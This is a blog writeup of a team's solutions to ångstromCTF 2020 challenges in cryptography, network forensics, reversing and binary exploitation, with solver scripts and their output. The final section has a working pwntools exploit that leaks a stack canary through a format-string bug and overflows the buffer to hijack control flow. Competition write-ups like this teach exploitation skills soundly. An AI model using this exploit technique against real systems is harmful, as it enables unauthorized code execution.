angstromCTF 2020

This is my writeups for ångstromCTF 2020.

March 20, 2020 - 25 minute read -
Security angstromCTF CTF Reverse Cryptography Infosec One-Time-Pad Linux IDA Wireshark Python Shell Hacking GDB Overflow Stack-Canary

Angstrom

I participated in ångstromCTF 2020 with my awesome team P1rates and I was able to solve 11 challenges with them. This is my writeup about some challenges I managed to solve during the competition.

Contents:

Cryptography


1. Reasonably Strong Algorithm

RSA strikes again.

This was an easy RSA challenge given the following:

n = 126390312099294739294606157407778835887
e = 65537
c = 13612260682947644362892911986815626931

To solve this challenge you must know RSA and how it works.

Now, we have n public modulus, e exponent and c ciphertext. I thought If I just factor n to its primes I can compute the φ(n) and find private key d such that d * e = 1 mod(φ(n)). I can compute d as modinverse(e, φ(n)) using Euclidean Algorithm. Then calculate {\displaystyle m=c^{d} {\bmod {n}}} where m is our flag.

Here is my code to do it:

#!/usr/bin/env python
def modinv(a, m) :
    a = a % m;
    for x in range(1, m) :
        if ((a * x) % m == 1) :
            return x
    return 1
    
n = 126390312099294739294606157407778835887
e = 65537
c = 13612260682947644362892911986815626931

p = 13536574980062068373
q = 9336949138571181619
phi = (p-1) * (q-1)

d = modinv(e, phi)
m = hex(pow(c,d,n))[2:-1]
print str(m).decode('hex')
root@kali:~# python rsa.py 
actf{10minutes}

2. Wacko Images

How to make hiding stuff a e s t h e t i c? And can you make it normal again? enc.png image-encryption.py The flag is actf{x#xx#xx_xx#xxx} where x represents any lowercase letter and # represents any one digit number.

So, we’re given the encoded image:

Encrypted

And the encryption code:

from numpy import *
from PIL import Image

flag = Image.open(r"flag.png")
img = array(flag)
key = [41, 37, 23]
a, b, c = img.shape

for x in range (0, a):
    for y in range (0, b):
        pixel = img[x, y]
        for i in range(0,3):
            pixel[i] = pixel[i] * key[i] % 251
        img[x][y] = pixel

enc = Image.fromarray(img)
enc.save('enc.png')

The weakness here is the key is given in the code and pixel[i] = pixel[i] * key[i] mod(251).

Simply, the code does the following:

  1. Find each pixel (R, G, B) in the original image where RGB are the Red, Green, Blue values respectively.
  2. Calculate (R*key[0], G*key[1], B*key[2]).

Now I should find the original pixels such that pixel[i] * key[i] = 1 mod(251), and this is also the modular inverse pixel[i] * modinverse(k[i], 251).

So, let’s code and get the flag:

from numpy import *
from PIL import Image

flag = Image.open(r"enc.png")
img = array(flag)

def modinv(a, m) :
    a = a % m;
    for x in range(1, m) :
        if ((a * x) % m == 1) :
            return x
    return 1
    
key = [41, 37, 23]
a, b, c = img.shape

for x in range (0, a):
    for y in range (0, b):
        pixel = img[x, y]
        for i in range(0,3):
            pixel[i] = (modinv(key[i],251)*pixel[i]) % 251
        img[x][y] = pixel

enc = Image.fromarray(img)
enc.save('flag.png')

Give us the flag.png: actf{m0dd1ng_sk1llz}

Encrypted

3. Confused Streaming

I made a stream cipher! nc crypto.2020.chall.actf.co 20601

hint: look at dream stream

The given code it seems confusing:

from __future__ import print_function
import random,os,sys,binascii
from decimal import *
try:
	input = raw_input
except:
	pass
getcontext().prec = 1000
def keystream(key):
	random.seed(int(os.environ["seed"]))
	e = random.randint(100,1000)
	while 1:
		d = random.randint(1,100)
		ret = Decimal('0.'+str(key ** e).split('.')[-1])
		for i in range(d):
			ret*=2
		yield int((ret//1)%2)
		e+=1
try:
	a = int(input("a: "))
	b = int(input("b: "))
	c = int(input("c: "))
	# remove those pesky imaginary numbers, rationals, zeroes, integers, big numbers, etc
	if b*b < 4*a*c or a==0 or b==0 or c==0 or Decimal(b*b-4*a*c).sqrt().to_integral_value()**2==b*b-4*a*c or abs(a)>1000 or abs(b)>1000 or abs(c)>1000:
		raise Exception()
	key = (Decimal(b*b-4*a*c).sqrt() - Decimal(b))/Decimal(a*2)
except:
	print("bad key")
else:
	flag = binascii.hexlify(os.environ["flag"].encode())
	flag = bin(int(flag,16))[2:].zfill(len(flag)*4)
	ret = ""
	k = keystream(key)
	for i in flag:
		ret += str(next(k)^int(i))
	print(ret)

But here is the trick, the code wants you to enter a b c such that some condition is achieved and if you provided those values correctly, it gives you the flag. The condition is

b*b < 4*a*c or a==0 or b==0 or c==0 or Decimal(b*b-4*a*c).sqrt().to_integral_value()**2==b*b-4*a*c or abs(a)>1000 or abs(b)>1000 or abs(c)>1000

But it checks the values that can validate the key as the comment says “remove those pesky imaginary numbers, rationals, zeroes, integers, big numbers, etc”.

And guess what this is the real solutions of the quadratic equation.

ax^{2}+bx+c=0 \displaystyle x={\frac {-b\pm {\sqrt {b^{2}-4ac}}}{2a}}

So, now I can brute force the values that cannot achieve the condition he wanted. Note that he want any correct values for a b c. Here is my code to do that:

#!/usr/bin/env python
from pwn import *
from decimal import *
context.log_level = 'critical'

T = []
for a in (1, 100):
	for b in (1, 100):
		for c in (1, 100):
			if not (b*b < 4*a*c or a==0 or b==0 or c==0 or Decimal(b*b-4*a*c).sqrt().to_integral_value()**2==b*b-4*a*c or abs(a)>100 or abs(b)>100 or abs(c)>100):
				T.append((a,b,c))

r = remote('crypto.2020.chall.actf.co',20601)
r.sendlineafter('a', str(T[0][0]))
r.sendlineafter('b', str(T[0][1]))
r.sendlineafter('c', str(T[0][2]))

print hex(int(r.recvall()[2:],2))[2:].decode('hex')
r.close()
root@kali:~# python stream.py 
actf{down_to_the_decimal}

4. One Time Pad

My super secure service is available now! Heck, even with the source, I bet you won’t figure it out. nc misc.2020.chall.actf.co 20301

One Time Pad is just known as unbreakable cryptographic technique that requires a random key as long as message being sent, but we’re the only ones who can make this it breakable by using wrong keys.

So, when I connect to the server it asks me to enter either 1 to request encrypted sample with its key or 2 to decrypt some given sample.

root@kali:~# nc misc.2020.chall.actf.co 20301
Welcome to my one time pad service!
It's so unbreakable that *if* you do manage to decrypt my text, I'll give you a flag!
You will be given the ciphertext and key for samples, and the ciphertext for when you try to decrypt. All will be given in base 64, but when you enter your answer, give it in ASCII.
Enter:
	1) Request sample
	2) Try your luck at decrypting something!
> 

In the code the function otp(a, b) takes 2 arguments the message and the key, then iterate through them one by one and do simple xor, but we know that xor is the reverse of itself.

After analysing the given source code I notice the deadly bug and that is random.seed(int(time.time())).

It seeds the random generator with the current time when the connection initiated and that’s horrible because the random numbers repeats after some periods with the same seed.

So, now let’s brute force the key and crack the unbreakable OTP.

#!/usr/bin/env python
from pwn import *
from  base64 import *
context.log_level = 'critical'

def otp(a, b):
	r = ""
	for i, j in zip(a, b):
		r += chr(ord(i) ^ ord(j))
	return r

r = remote('misc.2020.chall.actf.co', 20301)
while 1:
	r.sendlineafter('>','1')
	msg_key = r.recvline().strip().split(' ')
	r.sendlineafter('>','2')
	msg = b64decode(r.recvline().strip())

	x, k = b64decode(msg_key[0]), b64decode(msg_key[-1])
	if len(x) == len(msg):
		print '[*] Got one ...'
		res = otp(msg,k)
		r.sendlineafter('answer:',res)
		print '\t', res
		line = r.recvline().strip()
		if 'actf{' in line:
			print '[+] Found it\n\t', line
			break
		continue
	else :
		r.sendlineafter('answer:','A')
r.close()

I ran the script and after awhile I got the flag.

root@kali:~# python otp.py 
[*] Got one ...
    }_r^OM`DDaKfDZXwZ{csxAgk
[*] Got one ...
    m]\\x7fqMzUrRwxWwYqu]
.
.
.
[+] Found it ...
    actf{one_time_pad_more_like_i_dont_like_crypto-1982309}

Later on I noticed that the encrypted string can be of length 1 or 2 and that blows my mind after the previous solution.

So, If I can send any letter that can be encrypted using the any key of the same length it could be a solution.

#!/usr/bin/env python
from pwn import *
context.log_level = 'critical'

r = remote('misc.2020.chall.actf.co', 20301)
while 1:
	r.sendlineafter('>','1')
	r.recvline()
	r.sendlineafter('>','2')
	r.recvline()
	r.sendline('G')
	print '[*] Trying...'
	line = r.recvline().strip()
	if "actf{" in line:
		print '[+] Flag:\n', line
		break
r.close()
root@kali:~# python otp.py 
[*] Trying...
[*] Trying...
.
.
.
[*] Trying...
[+] Flag:
Your answer: actf{one_time_pad_more_like_i_dont_like_crypto-1982309}

One Time Pad is so bad.

- Misc


1. ws2

No ascii, not problem :) recording.pcapng

This challenge like the first one ws1 it gives us a network packet capture file, so first let’s see what it contains using binwalk.

root@kali:~# binwalk recording.pcapng 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
3003          0xBBB           HTML document header
3328          0xD00           HTML document footer
5688          0x1638          JPEG image data, JFIF standard 1.01
111167        0x1B23F         HTML document header
111545        0x1B3B9         HTML document footer

It contains some HTML files and that means there are some HTTP requests in the capture file and the interesting one is a JPEG image at offset 0x1638.

Let’s extract this image using dd command:

root@kali:~# dd if=recording.pcapng bs=1 skip=$((0x1638)) count=$((0x1b23f-0x1638)) of=file2.jpg
105479+0 records in
105479+0 records out
105479 bytes (105 kB, 103 KiB) copied, 0.509051 s, 207 kB/s
root@kali:~# file file.jpg 
file2.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 72x72, segment length 16, baseline, precision 8, 1500x1461, components 3

The command just skip 0x1638 blocks and count 0x1b23f-0x1638 blocks to extract the image and by looking at it.

corr

It looks corrupted so let’s look at the magic bytes in hex editor. As we know the JPEG images starts with FF D8 and ends with FF D9.

I found the first bytes it seems good nothing with them.

hex

But when I looked at the last bytes there’re some addtional bytes in the hex dump, so let’s remove them and save the file.

hex

Oh! That’s not good the image still the same. Now, let’s jump into wireshark and see the original packets.

wire

After I filtered the packets I got 4 HTTP requests and one of them is POST request contains an image. So let’s follow HTTP stream and extract the raw bytes.

raw

After I dumped the raw bytes from FF D8 FF E0 to FF D9 into a new file I got the original image.

flag

Flag: actf{ok_to_b0r0s-4809813}

2. ws3

What the… record.pcapng hint: Did I send something? Or…

Like the previous one I ran binwalk on the capture file but this time I got a bunch of zlib files.

root@kali:~# binwalk record.pcapng 
DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
3664          0xE50           Zlib compressed data, default compression
3793          0xED1           Zlib compressed data, default compression
3841          0xF01           Zlib compressed data, default compression
14810         0x39DA          Zlib compressed data, default compression
14969         0x3A79          Zlib compressed data, default compression
38120         0x94E8          Zlib compressed data, default compression
38258         0x9572          Zlib compressed data, default compression

So I decided to jumb into wireshark again and look for any HTTP packets.

wire

I noticed HTTP packet with length 2131 bigger than the others, so let’s look at it.

raw

I know the magic bytes for zlib file and can be one of:

  1. 78 01 - No Compression/low
  2. 78 9C - Default Compression
  3. 78 DA - Best Compression

After looking in the raw bytes for the packet I found first 78 9C and the end of the file is unknown so let’s extract it into a new file.

root@kali:~# file file.zlib 
ws3_3.zlib: zlib compressed data

I looked again with binwalk the file contains 3 other zlib files.

root@kali:~# binwalk Zlib 
DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             Zlib compressed data, default compression
159           0x9F            Zlib compressed data, default compression
242           0xF2            Zlib compressed data, default compression

So, I decided to extract each one and look at them one by one.

root@kali:~# dd if=Zlib bs=1 count=159 of=1.zlip
159+0 records in
159+0 records out
159 bytes copied, 0.0008654 s, 184 kB/s
root@kali:~# dd if=Zlib bs=1 skip=159 count=$((0xf2-0x9f)) of=2.zlip
83+0 records in
83+0 records out
83 bytes copied, 0.00072573 s, 114 kB/s
root@kali:~# dd if=Zlib bs=1 skip=242 of=3.zlip
17643+0 records in
17643+0 records out
17643 bytes (18 kB, 17 KiB) copied, 0.050157 s, 352 kB/s

Now, let’s extract them:

root@kali:~# cat 3.zlip | python -c "import zlib,sys;sys.stdout.write(zlib.decompress(sys.stdin.read()))" | head -1
����JFIFHH��C   	
close failed in file object destructor:
sys.excepthook is missing
lost sys.stderr

And I got the flag as a JPEG image at the last file.

flag

actf{git_good_git_wireshark-123323}

3. PSK

My friend sent my yet another mysterious recording… He told me he was inspired by PicoCTF 2019 and made his own transmissions. I’ve looked at it, and it seems to be really compact and efficient. Only 31 bps!! See if you can decode what he sent to me. It’s in actf{} format

This one I spend some time to figure out what he want and what’s the record. But after searching about PSK I found It’s just an audio with amplitude and phase-modulated waveform that is converted to an audio frequency analog signal by a sound card.

And guess what it can be decoded usign the PSK31 software like EssexPSK.

After I download the software and put the mic on the headphones to decode the audio it gives me the flag. :grinning:

flag

actf{hamhamhamhamham}

4. Shifter

What a strange challenge… It’ll be no problem for you, of course! nc misc.2020.chall.actf.co 20300

hint: Do you really need to calculate all those numbers?

This challenges seems interesting when I connect with the server it asks me the following:

root@kali:~# nc misc.2020.chall.actf.co 20300
Solve 50 of these epic problems in a row to prove you are a master crypto man like Aplet123!
You'll be given a number n and also a plaintext p.
Caesar shift `p` with the nth Fibonacci number.
n < 50, p is completely uppercase and alphabetic, len(p) < 50
You have 60 seconds!
--------------------
Shift AZPHUYBJHVY by n=44
: 

It’s just a ceaser cipher but with key as Fibonacci number, and the n he given is pretty small to calculate.

Fib(n)=Fib(n-1) + Fib(n-2)

So, let’s write small python script to do it and get the flag.

#!/usr/bin/env python
from pwn import *
context.log_level = 'critical'

fib_arr = [0,1]
def fib(n):
    if n<=len(fib_arr):
        return fib_arr[n-1]
    else:
        temp_fib = fib(n-1)+fib(n-2)
        fib_arr.append(temp_fib)
        return temp_fib
fib(50)
def encrypt(text,k):
    result = ""

    for i in range(len(text)):
        char = text[i]
        result += chr((ord(char) + k - 65) % 26 + 65)
    return result

r = remote('misc.2020.chall.actf.co', 20300)
r.recvuntil('--------------------')
r.recvline()
for _ in range(50):
    s = r.recvline().strip().split(' ')
    m, k = s[1], fib_arr[int(s[-1][2:])]
    print '\r[+] Level', (_+1)
    res = encrypt(m,k)
    r.sendlineafter(':',res)
print r.recvall().strip()

And finally I got it.

root@kali:~# python shifter.py 
[+] Level 1
[+] Level 2
.
.
.
[+] Level 49
[+] Level 50
actf{h0p3_y0u_us3d_th3_f0rmu14-1985098}

Reverse


1. Windows of Opportunity

Clam’s a windows elitist and he just can’t stand seeing all of these linux challenges! So, he decided to step in and create his own rev challenge with the “superior” operating system.

hint: You can probably solve it just by looking at the disassembly.

The challenge give us the binary and let’s see the file:

root@kali:~# file windows_of_opportunity.exe 
windows_of_opportunity.exe: PE32+ executable (console) x86-64, for MS Windows

It’s PE32+ windows executable, but when I look at the hint it sounds interesting so let’s do what he says and disassemble it using strings.

root@kali:~# strings windows_of_opportunity.exe | grep -aoE "actf{.*}"
actf{ok4y_m4yb3_linux_is_s7ill_b3tt3r}

Gotcha :grinning:

2. Taking Off

So you started revving up, but is it enough to take off? Find the problem in /problems/2020/taking_off/ in the shell server.

This challenge seems nice it gives us the binary:

root@kali:~# file taking_off 
taking_off: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=fc4deaf2c2da6fdaf4cb7bc1e83d4f1372720832, not stripped

Oh! That looks interesting it’s a ELF 64-bit linux file dynamically linked but not stripped its symbols. I ran strings on it, but nothing so let’s run it:

root@kali:~# ./taking_off 
So you figured out how to provide input and command line arguments.
But can you figure out what input to provide?
Make sure you have the correct amount of command line arguments!

It asks for some arguments I tried enter some, but nothing. So, let’s jump into IDA and look what it does.

Functions

I found some interesting functions main, print_flag, is_valid. Let’s start with main and see what it contains:

Main

As we see at line 17 it accepts 4 arguments and convert the first 3 v4 v5 v6 into integers, then it checks for each value is it invalid or not with is_invalid function:

IsValid

It just checks for given integer a1 if less than 0 or greater than 9. And after that at line 26 compute the following equation 100*v5 + 10*v4 + v6 if it’s equal to 932. It also checks for the 4th argument to be chicken. If all the above checks fail it prints Don't try to guess...

So, now we’re really smart to find that v5 = 9, v4 = 3 and v6 = 2 to validate the equation he wanted let’s try it now with our correct arguments.

root@kali:~# ./taking_off 3 9 2 chicken
So you figured out how to provide input and command line arguments.
But can you figure out what input to provide?
Well, you found the arguments, but what's the password?

Now, It asks for a password. So, let’s jump into the remaining part of the main:

Remaining

As we see above at line 34 it asks to enter the password and store it in s. From line 39 to 51 do the following:

  1. Iterate through the entered password.
  2. Check for each character if its value xor 0x2a to be equal some value stored in desired variable.
  3. If all values correctly checked it gives us the flag with print_flag functions.

PrintFlag

Let’s look what the desired variable stored in data section:

Desired

The value 0Ah is just a linefeed \n, but we know that the decompilation process is optimized so it can be a space in the password.

As far as we got here now, we have all we need to reverse the binary and get our flag.

Now, let’s brute force the password and give it to the server to retrieve the flag:

#!/usr/bin/env python
from string import ascii_letters

key = 'ZFOKYO\nMC\\O\nLFKM*'
passw = ""
for i in range(len(key)):
    for c in ' ' + ascii_letters:
        if chr(ord(c) ^ 42) == key[i]:
            passw += c
            break
print passw
root@kali:~# python ape.py 
please give flag
team6525@actf:/problems/2020/taking_off$ ./taking_off 3 9 2 chicken
So you figured out how to provide input and command line arguments.
But can you figure out what input to provide?
Well, you found the arguments, but what's the password?
please give flag
Good job! You're ready to move on to bigger and badder rev!
actf{th3y_gr0w_up_s0_f4st}

Binary (Pwn)


1. Canary

A tear rolled down her face like a tractor. “David,” she said tearfully, “I don’t want to be a farmer no more.” —Anonymous Can you call the flag function in this program (source)? Try it out on the shell server at /problems/2020/canary or by connecting with nc shell.actf.co 20701.

hint: That printf call looks dangerous too…

This pwnable challenges from its name looks cool it seems to be about stack canaries and stuff like low level binary and stack protection.

It gives us the binary a 64-bit linux file and the source code:

root@kali:~# file canary
canary: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=4c9450f3e2622ff6b7fa8fd33f728edfda901b97, not stripped

After analysing the source code I found 2 possible potential vulnerabilities in the greet function the first one is a buffer overflow at lines 39, 44 and the second bug is memory leak (format string) at line 40.

Let’s check the binary:

check

The binary enabled RELRO, Stack Canary, and NX and we know the challenge talk about canary. So, let’s run the program in gdb and see what it does:

run

The first input I entered a bunch of %p to see how it prints the results, and it prints some possible values from the stack.

The second input I entered some A and it gives me stack smashing detected flag.

And by that I knew the random canary value prevents the program from being overflowed or any modification for registers values and if it does the program exits immeadiately.

So, let’s brute force the position of the canary value in the stack.

#!/usr/bin/env python
from pwn import *
context.log_level = 'critical'
def canary_brute():
    for i in range(28):
        io = e.process(level="error")
        io.recvuntil('name?')
        io.sendline('AAAA %{}$lx'.format(i))
        s = io.recvline()
        print("{} - {}" .format(i, s.strip()))
        io.close()
canary_brute()
root@kali:~# python canary.py 
0 - Nice to meet you, AAAA %0$lx!
1 - Nice to meet you, AAAA 7fff704e6d20!
2 - Nice to meet you, AAAA a!
3 - Nice to meet you, AAAA fffffffffffffff4!
4 - Nice to meet you, AAAA 7f795c2b0500!
5 - Nice to meet you, AAAA 12!
6 - Nice to meet you, AAAA 2436252041414141!
7 - Nice to meet you, AAAA 7f000a21786c!
...
12 - Nice to meet you, AAAA 0!
13 - Nice to meet you, AAAA 7ffe85653b00!
14 - Nice to meet you, AAAA 4006a0!
15 - Nice to meet you, AAAA 7fff6069f380!
16 - Nice to meet you, AAAA 0!
17 - Nice to meet you, AAAA 65d74053b88f5300!
18 - Nice to meet you, AAAA 7fff86b86a50!
19 - Nice to meet you, AAAA 4009c9!

I know that the canary value must end with \x00 byte and it looks the same at position 17 every time I run the script.

...
Hi! What's your name? %17$p
Nice to meet you, 0x5f254cc8e0605300!
...

We got the the canary let’s calculate the offset of the buffer to overflow the binary. I created a cyclic pattern using De Bruijn sequence, add breakpoint at 0x400945 and ran the program.

run

And we have RAX: 0x4841413241416341 and the offset we need is 56.

gdb-peda$ pattern offset 0x4841413241416341
5206514328315978561 found at offset: 56

Now, we construct payload = buffer (56 bytes) + canary (8 bytes) + RBP (8 bytes) + flag offset.

#!/usr/bin/env python
from pwn import *
context.log_level = 'critical'

e = ELF("./canary")
get_flag = e.sym["flag"] # get the offset of the flag() function

io = remote('shell.actf.co', 20701)
io.recvuntil('name?')
io.sendline('%17$lx')
canary = int(io.recvline().strip().split(' ')[-1][:-1],16)
log.success('Canary: %s' % hex(canary))
log.success('Flag func: %s' % hex(get_flag))
io.recvuntil('me?')

payload = ''
payload += 'A'*56
payload += p64(canary)
payload += 'B'*8 		# fill out rbp register
payload += p64(get_flag)

log.info('Payload: %s\n' % payload)
io.sendline(payload)
print io.recvall().strip()
io.close()

I ran the script and got the flag :grinning:

run

actf{youre_a_canary_killer_>:(}